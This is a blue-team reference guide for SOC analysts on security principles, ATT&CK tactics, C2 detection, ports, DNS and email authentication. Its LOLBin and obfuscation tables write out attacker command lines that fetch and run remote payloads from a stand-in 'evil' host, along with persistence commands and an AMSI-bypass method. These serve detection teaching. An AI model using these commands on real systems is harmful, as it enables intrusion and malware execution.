Information Security CSOC Analyst Blue Team v2.1
Section 01
Foundations
01.01Core Security Principles

Before diving into specific techniques and tools, these foundational principles shape every security decision. A CSOC analyst who internalises these principles can reason about novel threats and make better triage decisions — even without a specific rule or runbook for the situation.

The Three Pillars of Security Design
🧅

Defense in Depth

Multiple independent layers mean no single point of failure. An attacker who bypasses the perimeter still faces endpoint controls, network segmentation, identity controls, and detection. Each layer buys time and raises attacker cost.

  • Perimeter → Network → Endpoint → Identity → Data
  • No single tool or control is sufficient
  • Assume breach: prepare to detect and respond, not just prevent
  • Compensating controls when one layer fails
🔐

Least Privilege

Grant only the minimum access required to perform a task. Compromised accounts with excessive rights enable lateral movement and privilege escalation. The blast radius of any breach is bounded by the privileges available.

  • Standard user for daily work — admin only when needed
  • Tiered admin model (Tier 0/1/2)
  • Service accounts with minimal, scoped permissions
  • Regular access review and deprovisioning
🤔

Zero Trust

"Never trust, always verify." Reject the idea that internal network traffic is safe. Every request must be authenticated, authorised, and validated — regardless of origin. Identity is the new perimeter.

  • Verify identity on every request (MFA everywhere)
  • Microsegmentation — limit blast radius of compromise
  • Device posture checks before granting access
  • Just-in-time access for privileged operations
🔁

Assume Breach

Design and operate as if attackers are already inside. Invest in detection and response, not just prevention. Prevention will eventually fail — the question is how quickly you detect and limit the damage.

  • Comprehensive logging and SIEM coverage
  • Mean Time to Detect (MTTD) and Respond (MTTR) are key metrics
  • Red team / purple team exercises
  • Incident response planning before incidents occur
🔒

Separation of Duties

No single person or system should be able to complete a high-risk action alone. Split sensitive operations across multiple approvals or systems to prevent insider threats and accidental damage.

  • 4-eyes principle for critical changes
  • Separate production and development access
  • Security team independent from IT operations
  • Audit logs reviewed by separate party
📦

Security by Design

Build security in from the start rather than bolting it on later. Secure defaults, input validation, and threat modelling during design cost far less than remediating vulnerabilities in production systems.

  • Secure defaults — closed unless explicitly opened
  • Threat modelling (STRIDE, PASTA) during design
  • Shift-left security in the SDLC
  • Regular security testing (SAST, DAST, pen test)
01.02Analyst Mindset

Two critical thinking frameworks for every CSOC analyst. The first corrects dangerous assumptions that lead to missed detections — knowing what security controls do not guarantee is as important as knowing what they do. The second builds pattern recognition: the ability to look at a log line and immediately know what attacker behaviour it suggests.

Common Misconceptions — What Security Is NOT
MisconceptionRealityAnalyst Implication
SPF/DKIM pass = safe emailAuthentication only confirms the sending infrastructure is authorised. A fully authenticated phishing email from a compromised legitimate domain passes all checks.Always analyse email content, links, and sender reputation — not just header authentication results.
HTTPS = safe contentHTTPS encrypts transport. The content can still be malicious. Most modern malware uses HTTPS for C2 specifically because it evades inspection.Decryption for inspection (SSL inspection) is required. HTTPS ≠ trustworthy destination.
Internal traffic = trustedLateral movement happens entirely on internal networks. An attacker who bypasses the perimeter operates internally. East-west traffic requires the same scrutiny as north-south.Monitor internal traffic. Workstation-to-workstation SMB is suspicious. Deploy internal IDS/NDR.
Reputation = ground truthIP/domain reputation is lagging. Attackers use newly registered domains, compromised infrastructure, and trusted cloud services (GitHub, OneDrive) for C2. A clean reputation today means nothing.Use JA3/JARM, behavioural analysis, and DNS entropy — not just reputation feeds. Always cross-reference.
Patching = securePatching addresses known vulnerabilities. Zero-days, misconfigurations, and post-exploitation techniques don't require unpatched software to succeed.Patching is necessary but not sufficient. Complement with EDR, network controls, and hardening baselines.
AV = malware protectionModern malware is designed to evade signature-based AV. Fileless malware, LOLBins, and obfuscation bypass traditional AV. EDR with behavioural detection is required.AV alerts are meaningful but absence of AV alerts does NOT mean absence of malware. Use EDR telemetry.
MFA = invulnerableMFA can be bypassed via SIM swapping, MFA fatigue attacks (push spam), adversary-in-the-middle (AiTM) phishing, and session token theft. It dramatically raises the bar — but isn't absolute.MFA is essential but still audit for AiTM indicators, session anomalies, and MFA bypass techniques.
Analyst Pattern Recognition — Signals That Almost Always Mean Something
PatternWhat It SuggestsFirst Response
Random-looking subdomains at high frequency (e.g., k3j9xp[.]domain[.]com)DNS C2 / DGA (Domain Generation Algorithm). Bot checking in with its C2.Capture full DNS log for that host. Check domain age and reputation. Isolate host if confirmed.
Base64 encoded strings in PowerShell command lineObfuscated execution — attacker hiding commands from logging. Common in initial access and lateral movement.Decode the base64. Check parent process. Correlate with Event 4104 Script Block Logging.
Regular intervals in outbound connections (e.g., every 60s)C2 beaconing. Implant checking in for commands.Perform time-delta analysis. Check destination reputation, JA3. Look for corresponding inbound data.
Office application spawning cmd.exe/PowerShellMacro malware execution. T1566 phishing → T1059 execution chain.Isolate immediately. Review email that triggered the process. Treat as active compromise.
Process with no parent process or unexpected parentProcess injection, hollow process, or DCOM/WMI lateral movement.Review Sysmon Event 1 and 8. Check process memory for injected code. Correlate with network activity.
Bulk file reads/renames in short time windowData staging for exfil, or ransomware encryption in progress.Check for vssadmin delete shadows. Isolate immediately. Check if backup catalogs intact.
Outbound traffic to newly registered domainC2 using fresh infrastructure. Attacker registered domain for this campaign.Check WHOIS (domain age < 30 days is high-risk). JA3 fingerprint. Correlate with process making the request.
Large outbound transfer to cloud storage providerData exfiltration. T1567 — exfiltration over web service.Check user context. Inspect filenames if DLP available. Correlate with collection activity on the endpoint.
Admin share access (C$, ADMIN$) from workstationLateral movement via PsExec, SMBexec, or similar. Attacker pivoting between hosts.Event 5140. Check source workstation for compromise. Look for newly created services on target (Event 7045).
Event log cleared (Event 1102)Attacker covering tracks. Nearly always malicious in production environments.Highest priority alert. Assume active attacker. Collect forensic images. Begin IR immediately.
01.03CIA Triad

The foundational model for classifying the three core properties of information security. Every security control maps to at least one of these pillars.

🔒

Confidentiality

Protection of information from unauthorized access or disclosure. Only authorized parties can read the data.

  • Encryption (AES-256, TLS)
  • Multi-factor authentication
  • Access control lists
  • Data classification

Integrity

Ensures data is accurate, complete, and unaltered by unauthorized parties during storage or transit.

  • Hashing (SHA-256, MD5)
  • Digital Signatures
  • HMAC
  • Digital Certificates

Availability

Ensures authorized users can access systems and data when needed. DDoS attacks directly target this pillar.

  • Redundancy & failover
  • Backups (3-2-1 rule)
  • DDoS mitigation
  • Patch management
ℹ️Extended models: Some frameworks add Non-repudiation (you cannot deny performing an action) and Authentication to form the Parkerian Hexad (Confidentiality, Possession, Integrity, Authenticity, Availability, Utility).
01.04Cyber Kill Chain

Developed by Lockheed Martin. Defenders should aim to interrupt the chain as early as possible — ideally at Reconnaissance or Delivery. Later stages indicate deeper compromise.

01
Recon
OSINT, scanning, phishing for info
02
Weaponize
Build payload, exploit, dropper
03
Delivery
Email, web, USB, watering hole
04
Exploit
Trigger vulnerability
05
Install
Persistence mechanisms
06
C2
Command & control channel
07
Actions
Exfiltrate, encrypt, destroy
💡Diamond Model (alternative): Maps adversary, capability, infrastructure, and victim as four vertices of a diamond. Better for attribution analysis. MITRE ATT&CK is more granular and preferred for detection engineering.
01.05MITRE ATT&CK

A globally accessible knowledge base of adversary TTPs based on real-world observations. ATT&CK = Adversarial Tactics, Techniques, and Common Knowledge. The Enterprise matrix covers 14 tactics.

IDTacticKey TechniquesDetection Focus
TA0043ReconnaissanceT1595 Active Scanning · T1592 Host Info · T1598 Phishing for InfoHoneypots, threat intel feeds
TA0042Resource DevT1583 Acquire Infra · T1584 Compromise Infra · T1585 Establish AccountsThreat intel, new domain registration
TA0001Initial AccessT1566 Phishing · T1133 External Remote Services · T1190 Exploit Public AppEmail gateway, EDR, VPN logs
TA0002ExecutionT1059 Scripting (PowerShell/Bash) · T1047 WMI · T1203 Client ExploitPowerShell logging, script block logging
TA0003PersistenceT1547 Autostart · T1053 Scheduled Task · T1543 Create/Modify ServiceRegistry monitoring, Task Scheduler events
TA0004Privilege EscT1003 Credential Dump · T1068 Exploit for Priv Esc · T1548 Bypass UACLSASS access events, 4672/4688 logs
TA0005Defense EvasionT1070 Log Clearing · T1036 Masquerading · T1055 Process InjectionEvent log service stops, parent/child anomalies
TA0006Credential AccessT1555 Password Stores · T1110 Brute Force · T1558 Kerberoasting4768/4769 Kerberos events, 4625 failed logons
TA0007DiscoveryT1018 Remote System Discovery · T1083 File Discovery · T1046 Port ScanNet commands, nmap patterns in network logs
TA0008Lateral MovementT1021 Remote Services (RDP/SMB/WinRM) · T1075 Pass-the-HashLogon type 3, unusual admin$ access
TA0009CollectionT1113 Screen Capture · T1115 Clipboard · T1560 Archive Collected DataUnusual compression tools, large file creation
TA0011C2T1071 App Layer Protocol · T1573 Encrypted Channel · T1572 DNS TunnelingBeaconing patterns, DNS query volume anomalies
TA0010ExfiltrationT1041 Exfil over C2 · T1567 Exfil over Web Services · T1048 Exfil Alt ProtocolData volume to cloud, unusual upload patterns
TA0040ImpactT1486 Ransomware · T1490 Inhibit Recovery · T1561 Disk WipeVSS deletion (vssadmin), mass file encryption
01.06Attacker Mindset & Techniques

Effective detection requires understanding how attackers think and operate. Attackers follow predictable patterns — they seek the path of least resistance, reuse tools and infrastructure, and blend with legitimate activity. This section covers the core techniques every analyst should recognise on sight.

Obfuscation Techniques

Attackers obfuscate commands and payloads to evade signature detection and logging. Recognising these patterns is a core analyst skill.

TechniqueExample / PatternDetection
Base64 encodingpowershell -enc JABjAD0A... — PowerShell -encodedcommand flagEvent 4104: Script Block Logging decodes this automatically. Alert on -enc or -EncodedCommand
String concatenation('pow'+'ershell') or $env:ComSpec[4,15,25] -join ''Script Block Logging captures the reconstructed command. Regex on variable reassembly patterns.
Character substitutioni`ex (backtick in PowerShell = escapes char, ignored at runtime)Script Block Logging. Regex: \[cHaR\], backtick patterns, hex [char]0x63
Double encodingURL-encoded payload inside base64: %70%6F%77...WAF decoding depth. SIEM decoders that handle multi-layer encoding.
Alternate encodingXOR, ROT13, custom byte substitution in shellcodeMemory scanning with YARA. Entropy analysis (high entropy = packed/encrypted payload).
Command abbreviationcmd /ccm^d /^c or c"m"d /c — circumvents exact-match rulesNormalise commands before alerting. Don't rely on exact string matching for cmd.exe flags.
AMSI bypassPatching amsi.dll in memory: AmsiScanBuffer patched to return AMSI_RESULT_CLEANSysmon Event 10: process opening ntdll.dll with PROCESS_VM_WRITE. Memory scanning tools.
Living off the Land (LotL) — Key Binaries

Attackers prefer legitimate, signed Windows binaries over custom malware — they bypass AV, blend with admin activity, and are harder to block. Full catalogue: lolbas-project.github.io

BinaryAttacker UseDetection Trigger
powershell.exeDownload cradles, obfuscated execution, AD enumeration, post-exploitation frameworksSpawned by Office/browser; -enc/-nop/-w hidden flags; Event 4104
certutil.exeDownload files (-urlcache -f URL), decode base64 (-decode), encode for exfilNetwork connection from certutil; -urlcache in command line; spawned by non-admin process
mshta.exeExecute HTA applications, run remote JavaScript/VBScript (mshta http://evil/file.hta)Network connections from mshta; spawned by Office, browser, or email client
regsvr32.exe"Squiblydoo" — execute COM scriptlet (regsvr32 /s /n /u /i:URL scrobj.dll), bypasses AppLockerNetwork connection from regsvr32; scrobj.dll in command line; unusual arguments
wmic.exeRemote execution (wmic /node:TARGET process call create "cmd.exe /c..."), lateral movement/node: flag indicating remote target; spawning child processes; Event 4688
rundll32.exeExecute DLLs and COM scripts (rundll32 javascript:..."), side-load malicious DLLsJavaScript/VBScript in command line; unusual DLL path; no loaded DLL justification
bitsadmin.exeDownload files (bitsadmin /transfer job /download URL localpath), persistence via BITS jobsFile download activity; BITS jobs created for non-system accounts; Event 59 (BITS job completed)
msiexec.exeDownload and execute MSI payloads remotely (msiexec /i http://evil/mal.msi /q)Network connection from msiexec; URL in command line; spawned by non-installer process
forfiles.exeExecute commands on files (forfiles /c "cmd /c calc.exe"), parent process spoofingCommand execution via forfiles; used to spawn child processes while masking true parent
schtasks.exeCreate persistence via scheduled tasks (schtasks /create /tr malware.exe /sc onlogon)Event 4698 (task created); tasks pointing to temp/appdata; tasks without owner
C2 Channel Patterns

Command and Control (C2) channels are how malware communicates with attackers after deployment. Each protocol has characteristic patterns that enable detection.

ChannelHow It WorksKey Detection Signals
HTTP/S BeaconingImplant sends periodic HTTP GET/POST to C2 server. Malleable C2 profiles mimic jQuery, Google Analytics, CDN traffic to blend in.Regular time-delta (e.g., exactly every 60s), JA3 fingerprint mismatch, small fixed-size HTTP bodies, rare destination domains
DNS TunnelingData encoded in DNS subdomain labels. Implant queries data[.]attacker[.]com — DNS server is the C2. Works through almost any firewall.High DNS query volume from single host, long subdomain labels (>30 chars), high entropy subdomains, TXT/NULL record queries
HTTPS over Port 443Most C2 uses TLS to encrypt content. JA3/JARM fingerprinting can identify C2 toolkits regardless of domain/IP. Cobalt Strike has a well-known default JA3 hash.JA3: 72a7c9feebf2d402dd4432ad7d37a441 (CS default), self-signed certs, unusual TLS extensions
Trusted Cloud ServicesC2 traffic routed through GitHub issues, Google Docs, Slack, OneDrive, Dropbox. Traffic blends with legitimate SaaS usage and most proxies allow these.Unusual API calls at regular intervals, abnormal user-agent for cloud service, large upload to storage provider
ICMP TunnelingData encoded in ICMP payload field. Looks like ping traffic — rarely inspected or blocked at perimeter.Unusual ICMP payload length or non-zero data field (normal pings have empty or fixed pattern payloads)
SMB Named PipesC2 over SMB named pipes. Cobalt Strike uses \.\pipe\MSSE-XXXX by default. Traffic blends with normal Windows file sharing.Sysmon Event 17/18: unusual named pipe patterns. Remote pipe connections from non-DC hosts.
💡 The defender's advantage: Attackers reuse techniques, tools, and infrastructure. Learning to recognise the patterns rather than specific signatures means detections survive tool updates. A Sigma rule detecting PowerShell download cradles catches Cobalt Strike, Empire, Sliver, and commodity malware — regardless of what the payload does.
01.07Cyber Attack Techniques

A reference index of the most common offensive techniques mapped to their detection methods and defensive controls. Use this section during investigation to quickly look up how a suspected technique works, what evidence it leaves, and what controls should have caught it. Pair with MITRE ATT&CK for technique IDs.

TechniqueDescriptionDetection / Prevention
MalwareSoftware designed to harm — viruses, trojans, ransomware, spywareEDR/AV, application allowlisting, sandboxing
DoS / DDoSOverwhelm system/network to deny legitimate accessDDoS scrubbing, WAF, rate limiting, CDN
Man-in-the-MiddleIntercept and possibly modify traffic between two partiesTLS everywhere, certificate pinning, MFA
SQL InjectionInject malicious SQL via input fields to manipulate database queriesParameterized queries, WAF, input validation
XSS (Cross-Site Scripting)Inject malicious scripts into pages viewed by other usersCSP headers, output encoding, WAF
CSRFTrick authenticated users into submitting unintended requestsCSRF tokens, SameSite cookie attribute
Social EngineeringManipulate humans to divulge info or take actionsSecurity awareness training, MFA, email gateways
Zero-Day ExploitExploit unknown vulnerability before patch existsDefense-in-depth, behavioral detection, network segmentation
Phishing / Spear PhishingFraudulent email to steal credentials or deploy malware. Spear phishing = targeted.Email gateway, DMARC, user training, MFA
VishingVoice phishing over phone to extract info or redirect paymentsVerification procedures, staff training
SmishingSMS phishing with malicious links or phone numbersMobile security policies, user training
Credential StuffingAutomated testing of breached username/password combos across servicesMFA, CAPTCHA, IP reputation, account lockout, Have I Been Pwned
Supply Chain AttackCompromise software/hardware through a vendor to reach downstream targetsSoftware composition analysis, vendor risk management, code signing
DNS Spoofing / Cache PoisoningCorrupt DNS cache to redirect users to malicious IPDNSSEC, DNS over HTTPS (DoH), encrypted DNS
LLMNR / NBT-NS PoisoningRespond to broadcast name resolution to capture NTLM hashesDisable LLMNR/NBT-NS via GPO, enforce SMB signing
CryptojackingHijack CPU cycles to mine cryptocurrency without consentEDR process monitoring, outbound traffic to mining pools, CPU anomalies
Watering HoleCompromise websites frequently visited by target groupBrowser isolation, web proxy, threat intel
TyposquattingRegister domains similar to popular sites to capture mistyped URLsDomain monitoring, browser warnings, user training
01.08Types of Malware

A taxonomy of malware families by their behaviour and goals. Understanding malware types enables faster triage — a fileless implant requires memory forensics, ransomware requires VSS investigation, a RAT requires C2 traffic analysis. Use this to scope the right response actions for each malware class.

Ransomware
LockBit · RYUK · BlackCat (ALPHV)

Encrypts files and demands ransom. Modern variants also exfiltrate data (double extortion).

Fileless Malware
Astaroth · PowerSploit · Cobalt Strike

Lives in memory only — no files on disk. Evades signature-based AV. Uses LOLBins.

Spyware
Pegasus · DarkHotel · FinFisher

Silently monitors activity — keystrokes, screenshots, audio, location.

Adware
Fireball · Superfish · Gator

Serves unwanted ads; may also track browsing. Usually low severity but indicates poor controls.

Trojan
Emotet · TrickBot · Agent Tesla

Disguises as legitimate software. Once running, downloads additional payloads or creates backdoors.

Worm
Stuxnet · WannaCry · Conficker

Self-replicating — spreads automatically via network shares, email, vulnerabilities. No user action required.

Virus
ILOVEYOU · Melissa · CIH

Attaches to host program — requires user execution to activate and spread. Modifies legitimate files.

Rootkit
Zacinlo · TDSS · Necurs

Hides malware presence from OS and security tools. Kernel-level rootkits are hardest to detect/remove.

Keylogger
Olympic Vision · HawkEye · NanoCore

Records every keystroke to harvest credentials, credit cards, and sensitive data.

Botnet
Mirai · Emotet · Necurs

Army of compromised machines (bots) under C2. Used for DDoS, spam, credential stuffing.

RAT
njRAT · AsyncRAT · DarkComet

Remote Access Trojan — gives attacker full remote control: shell, file access, webcam, mic.

Cryptojacker
XMRig · Coinhive · PowerGhost

Uses victim CPU/GPU to mine crypto (usually Monero). Detectable via CPU spikes.

Section 02
Networking & Protocols
02.01OSI Model

The 7-layer model defines how communication occurs between systems. Each layer attacks are mapped to aid SOC analysts in identifying where a threat operates.

7
Application
Data
HTTP, FTP, DNS, SMTP, SNMP. User-facing services.
SQL Injection · XSS · Phishing · C2 Beaconing
6
Presentation
Data
Data translation, encryption (TLS/SSL), compression.
SSL Stripping · POODLE · BEAST
5
Session
Data
Manages sessions between applications. RPC, NetBIOS, PPTP.
Session Hijacking · Pass-the-Hash
4
Transport
Segment
TCP/UDP. End-to-end delivery, port numbers, flow control.
SYN Flood · Port Scanning · Slowloris
3
Network
Packet
IP, ICMP, IPsec. Logical addressing and routing.
ICMP Flood · IP Spoofing · Smurf Attack
2
Data Link
Frame
Ethernet, Wi-Fi, MAC addressing, ARP. Node-to-node transfer.
ARP Spoofing · MAC Flooding · VLAN Hopping
1
Physical
Bit
Cables, fiber, radio signals, hubs. Raw bit transmission.
Wiretapping · Physical Tampering · Jamming
02.02TCP vs UDP

TCP and UDP behave fundamentally differently — TCP is connection-oriented (traceable), UDP is connectionless (harder to attribute). Use this to understand why certain attacks prefer UDP (DDoS amplification), why C2 may use HTTPS (TCP/443), and how to interpret connection state in firewall and netflow logs.

TCP — Transmission Control Protocol

  • ConnectionConnection-oriented (3-way handshake)
  • ReliabilityGuaranteed delivery, retransmits lost packets
  • OrderingPackets reassembled in sequence
  • Flow ControlYes (sliding window)
  • Header Size20–60 bytes (variable with options)
  • SpeedSlower (overhead for reliability)
  • Use CasesHTTP/S, SSH, FTP, SMTP, RDP, SMB
  • Half-closeYes — one side can close while other continues

UDP — User Datagram Protocol

  • ConnectionConnectionless — no handshake
  • ReliabilityBest-effort — no guarantee, no retransmit
  • OrderingNo ordering — app must handle if needed
  • Flow ControlNo
  • Header Size8 bytes (fixed)
  • SpeedFaster (minimal overhead)
  • Use CasesDNS, DHCP, NTP, SNMP, VoIP, gaming, QUIC
  • Half-closeN/A — no connection state
ℹ️Fact check: DNS uses UDP for queries and TCP for both zone transfers AND queries where responses exceed 512 bytes (or 4096 bytes with EDNS0). TCP is also used when the TC (truncation) flag is set in a UDP response.
02.03Common Ports

Ports 0–1023 are Well-Known (IANA-assigned). 1024–49151 are Registered. 49152–65535 are Dynamic/Ephemeral. Attackers frequently use non-standard ports or tunnel over common ports (80/443) to evade detection.

Port(s)ProtocolServiceBlue Team Notes
20/21TCPFTPUnencrypted; flag cleartext credentials. Use SFTP (22) or FTPS (990) instead.
22TCPSSHMonitor for brute-force (Event 4625). Key-based auth preferred over passwords.
23TCPTelnetCompletely unencrypted. Should not exist on any modern network — alert on sight.
25TCPSMTPOutbound SMTP from workstations (not mail servers) = likely malware/spam bot.
53UDP/TCPDNSDNS over UDP for queries (<512B); TCP for zone transfers. Monitor for DNS tunneling.
67/68UDPDHCPMonitor for rogue DHCP servers on the network.
80TCPHTTPPlaintext. Commonly used for C2 callbacks. Inspect User-Agent and destination.
110TCPPOP3Unencrypted. Use POP3S (995) instead.
123UDPNTPTime sync critical for log correlation. >5 min drift breaks Kerberos.
135TCPMS-RPCRequired for WMI, DCOM. Frequently abused for lateral movement.
137-139TCP/UDPNetBIOSLegacy. Monitor for LLMNR/NBT-NS poisoning attacks.
143TCPIMAPUnencrypted. Use IMAPS (993).
161/162UDPSNMPSNMPv1/v2 use community strings (cleartext). Upgrade to SNMPv3.
389TCPLDAPCleartext directory queries. Monitor for LDAP enumeration (BloodHound queries).
443TCPHTTPSEncrypted. Most C2 frameworks now use HTTPS. Inspect certificates and SNI.
445TCPSMBCritical target. EternalBlue (MS17-010), WannaCry. Disable SMBv1 everywhere.
514UDPSyslogPlaintext log shipping. Tampering is trivial — use TLS syslog (6514) for SIEM.
636TCPLDAPSLDAP over TLS — prefer this over 389.
1433TCPMSSQLShould not be internet-facing. Common target for SQL injection and lateral movement.
3306TCPMySQLExternally exposed MySQL = critical finding.
3389TCPRDPTop ransomware entry point. Disable if not needed. Alert on internet-facing RDP.
4444TCPMetasploit defaultDefault Metasploit listener. Alert on any internal connection to port 4444.
5985/5986TCPWinRMWindows Remote Management (HTTP/HTTPS). Abused for lateral movement (Evil-WinRM).
6379TCPRedisNo auth by default — should never be internet-exposed.
8080/8443TCPHTTP/S AltCommon for C2 frameworks (Cobalt Strike default: 8080). Monitor unusual beaconing.
9200TCPElasticsearchNo auth by default. Externally exposed = critical data leak risk.
02.04IPv4 Subnet

IPv4 subnetting determines which IP addresses belong together on a network segment. Use this section to quickly determine a host's network boundary, identify mis-routed traffic, or validate whether lateral movement crossed subnet boundaries — which is a significant escalation indicator.

PrefixSubnet MaskTotal IPsUsable IPsClass
/8255.0.0.016,777,21616,777,214A
/16255.255.0.065,53665,534B
/24255.255.255.0256254C
/25255.255.255.128128126
/26255.255.255.1926462
/27255.255.255.2243230
/28255.255.255.2401614
/29255.255.255.24886
/30255.255.255.25242Point-to-point links
/31255.255.255.25420 (RFC 3021)Point-to-point (RFC 3021 allows /31)
/32255.255.255.25511 (host route)Single host
ℹ️Fact check: /31 networks have 2 IPs and 0 traditionally usable (network + broadcast), but RFC 3021 allows them for point-to-point links where both addresses can be used as host addresses.
02.05Private IP Addresses

Private IP ranges are reserved for internal networks and should never appear as source/destination in internet-routed traffic. Use this to identify RFC 1918 addresses in logs, spot traffic that should not be leaving your network, and detect potential NAT misconfigurations or tunneling attempts.

Range / CIDRDescriptionNotes
10.0.0.0/8Private Class A16M addresses — enterprise networks
172.16.0.0/12Private Class B172.16.x.x – 172.31.x.x (1M addresses)
192.168.0.0/16Private Class C65K addresses — home/SOHO networks
127.0.0.0/8Loopback127.0.0.1 = localhost. Never routed.
169.254.0.0/16Link-local / APIPAAuto-assigned when DHCP fails. LLMNR/mDNS attacks exploit this range.
100.64.0.0/10Carrier-grade NAT (CGN)RFC 6598 — used by ISPs for CGN. Not for internal enterprise use.
192.0.2.0/24TEST-NET-1Documentation only (RFC 5737). Should never appear in real traffic.
198.51.100.0/24TEST-NET-2Documentation only (RFC 5737).
203.0.113.0/24TEST-NET-3Documentation only (RFC 5737).
224.0.0.0/4Multicast239.0.0.0/8 = local multicast scope. 224.0.0.1 = all hosts.
240.0.0.0/4ReservedClass E — reserved for future use (RFC 1112).
255.255.255.255/32Limited broadcastNever forwarded by routers.
02.06DNS

DNS is a hierarchical, distributed naming system. It's also a top C2 channel — DNS tunneling, DGA domains, and fast-flux are common attacker techniques.

Hierarchy & Server Types
TypeRoleKey Facts
DNS RecursorClient-facing resolver; queries on behalf of clientsOperated by ISPs (8.8.8.8 Google, 1.1.1.1 Cloudflare). Caches responses per TTL.
Root NameserverTop of hierarchy; directs to TLD servers13 logical root server addresses (a–m.root-servers.net), but hundreds of physical instances via anycast.
TLD NameserverManages domains under one TLD (.com, .org, .sg)Operated by registries (Verisign for .com). Does not store final records.
Authoritative NSFinal authority; holds actual DNS records for a domainReturns definitive answers. Two types: primary (read/write) and secondary (read-only replica).
DNS Record Types
RecordDescriptionBlue Team Note
ADomain → IPv4 addressMonitor for sudden A record changes (DNS hijacking)
AAAADomain → IPv6 addressDon't ignore IPv6 — malware often tunnels via IPv6
NSAuthoritative nameservers for the domainNS record changes = possible domain hijacking
CNAMEAlias → canonical domain nameLong CNAME chains can obscure C2 infrastructure
MXMail exchange serversValidate with SPF/DKIM/DMARC. Rogue MX = mail interception.
TXTArbitrary text — SPF, DKIM, DMARC, domain verificationCan be abused for C2 data exfil (TXT record tunneling)
SRVHost and port for specific servicesUsed by Kerberos, SIP, XMPP — monitor for unexpected SRV records
PTRReverse lookup: IP → domain nameCheck PTR mismatch — phishing infrastructure often lacks valid PTR
SOAZone start of authority — serial, refresh, retry, expireRequired for every zone. Serial number increments on each change.
CAASpecifies authorized Certificate Authorities for the domainSet CAA records to restrict unauthorized cert issuance
DNS Threat Indicators
ThreatIndicatorDetection Method
DNS TunnelingHigh volume of long TXT/NULL queries; high entropy subdomains; unusual query typesDNS query length anomaly, entropy analysis
DGA (Domain Gen Algorithm)Large volumes of NXDOMAIN responses; algorithmically generated random-looking domainsNXDOMAIN rate, domain entropy scoring
Fast-Flux DNSRapidly changing A records (TTL <300s) with many IPs; associated with botnetsTTL monitoring, IP count per domain
DNS HijackingUnexpected change in NS or A records for monitored domainsPassive DNS comparison, zone monitoring
02.07Email Security

Email is the #1 initial access vector. SPF, DKIM, and DMARC are the three DNS-based controls that together prevent spoofing and unauthorised sending. Understanding these helps you triage phishing emails, investigate mail headers, and validate whether an email claiming to be from a domain is legitimate.

SPF — Sender Policy Framework

SPF defines which mail servers are authorised to send email on behalf of a domain. It works by publishing a DNS TXT record listing permitted sending IPs. The receiving mail server checks the envelope sender (Return-Path / MAIL FROM) against this list — not the visible From: header.

ℹ️What SPF checks: The IP address of the sending mail server against the domain in the MAIL FROM (envelope sender, also called Return-Path). It does not check the From: header a user sees. This is why SPF alone doesn't stop display-name spoofing.
QualifierResultBehaviourUse Case
+ (default)PASSServer is authorised to sendAll legitimate senders
-FAIL (hard)Server is NOT authorised — rejectTight enforcement: -all
~SOFTFAILProbably not authorised — accept but flagTransition: ~all while deploying
?NEUTRALNo assertion — treat as no SPFTesting only
MechanismWhat it matchesExample
ip4: / ip6:Specific IP address or CIDR rangeip4:203.0.113.0/24
mxAll IPs in the domain's MX recordsmx (implicit domain)
aAll IPs in the domain's A/AAAA recordsa:mail.example.com
include:Recursively check another domain's SPFinclude:_spf.google.com
allCatch-all — matches everything-all (end of record)
example.com TXT "v=spf1 mx ip4:203.0.113.0/24 include:_spf.google.com -all"
# Reading left to right: check MX records, then the /24, then Google's SPF.
# If none match: FAIL (hard fail) — reject the email.

v=spf1 -all    → Domain sends NO email (null sender, bounce addresses)
v=spf1 +all    → ⚠️ Anyone can send — never use this in production
⚠️SPF Limitations: (1) Breaks on forwarding — the forwarding server's IP won't be in the original SPF record. (2) SPF checks MAIL FROM, not the From: header — a spoofed display name still passes SPF. (3) Max 10 DNS lookups — too many include: chains cause PermError.
DKIM — DomainKeys Identified Mail

DKIM adds a cryptographic signature to outgoing emails. The sending server signs the message with a private key; the public key is published in DNS. The receiving server verifies the signature — proving the email came from the claimed domain and was not modified in transit.

ℹ️What DKIM checks: The cryptographic signature in the DKIM-Signature: header against the public key in DNS. The signature covers specified headers (including From:) and the email body. A pass confirms: (1) the email was sent by someone holding the private key for that domain, and (2) the signed content was not modified in transit.
DKIM TagMeaningExample
v=Version (always DKIM1)v=DKIM1
d=Signing domain (must align with From: for DMARC)d=example.com
s=Selector — which key pair to use (rotate periodically)s=selector1
h=Headers included in signatureh=from:to:subject:date
bh=Hash of email body (base64)Detects body tampering
b=The actual cryptographic signature (base64)Verified against DNS public key
k=Key type (rsa or ed25519)k=rsa (ed25519 preferred for new)
selector1._domainkey.example.com TXT "v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUA..."
# DNS lookup path: {selector}._domainkey.{d= domain}
# p= is the base64-encoded RSA or ed25519 public key
# Rotate selectors periodically — old selector can be retired by removing the DNS record
⚠️DKIM does NOT prevent spoofing alone. An attacker can create their own valid DKIM signature for attacker.com. DKIM only proves the signature domain hasn't been tampered with — not that it matches the From: header. DMARC alignment is what ties DKIM to the From: domain.
DMARC — Domain-based Message Authentication, Reporting & Conformance

DMARC is the policy layer that ties SPF and DKIM together. It tells receiving servers what to do when SPF or DKIM fail, and requires that at least one of them aligns with the From: header domain. DMARC also provides visibility via aggregate reports (rua) and forensic reports (ruf).

ℹ️What DMARC checks: (1) Does SPF pass AND does the Return-Path domain align with the From: domain? OR (2) Does DKIM pass AND does the DKIM d= domain align with the From: domain? If at least one alignment passes, DMARC passes. If neither passes, the policy (none/quarantine/reject) is applied.
TagMeaningExample
p=Policy for the domain itselfp=reject
sp=Policy for subdomains (defaults to p= if omitted)sp=quarantine
pct=Percentage of mail subject to policy (100 = all)pct=100
rua=URI for aggregate reports (daily XML summaries)rua=mailto:dmarc@example.com
ruf=URI for forensic reports (per-failure message copies)ruf=mailto:fail@example.com
aspf=SPF alignment mode: r=relaxed (default), s=strictaspf=r
adkim=DKIM alignment mode: r=relaxed (default), s=strictadkim=r
PolicyAction on FailureStage
p=noneNo action — monitoring only, reports still sent🟡 Initial deployment — start here
p=quarantineFailing mail goes to spam/junk folder🟠 Intermediate enforcement
p=rejectFailing mail rejected at SMTP — never delivered🟢 Full enforcement — target state
_dmarc.example.com TXT "v=DMARC1; p=reject; sp=reject; pct=100; aspf=r; adkim=r; rua=mailto:dmarc-agg@example.com; ruf=mailto:dmarc-fail@example.com"

# Alignment modes:
# relaxed (r): subdomain match allowed — mail.example.com aligns with example.com
# strict (s):  exact match required   — mail.example.com does NOT align with example.com
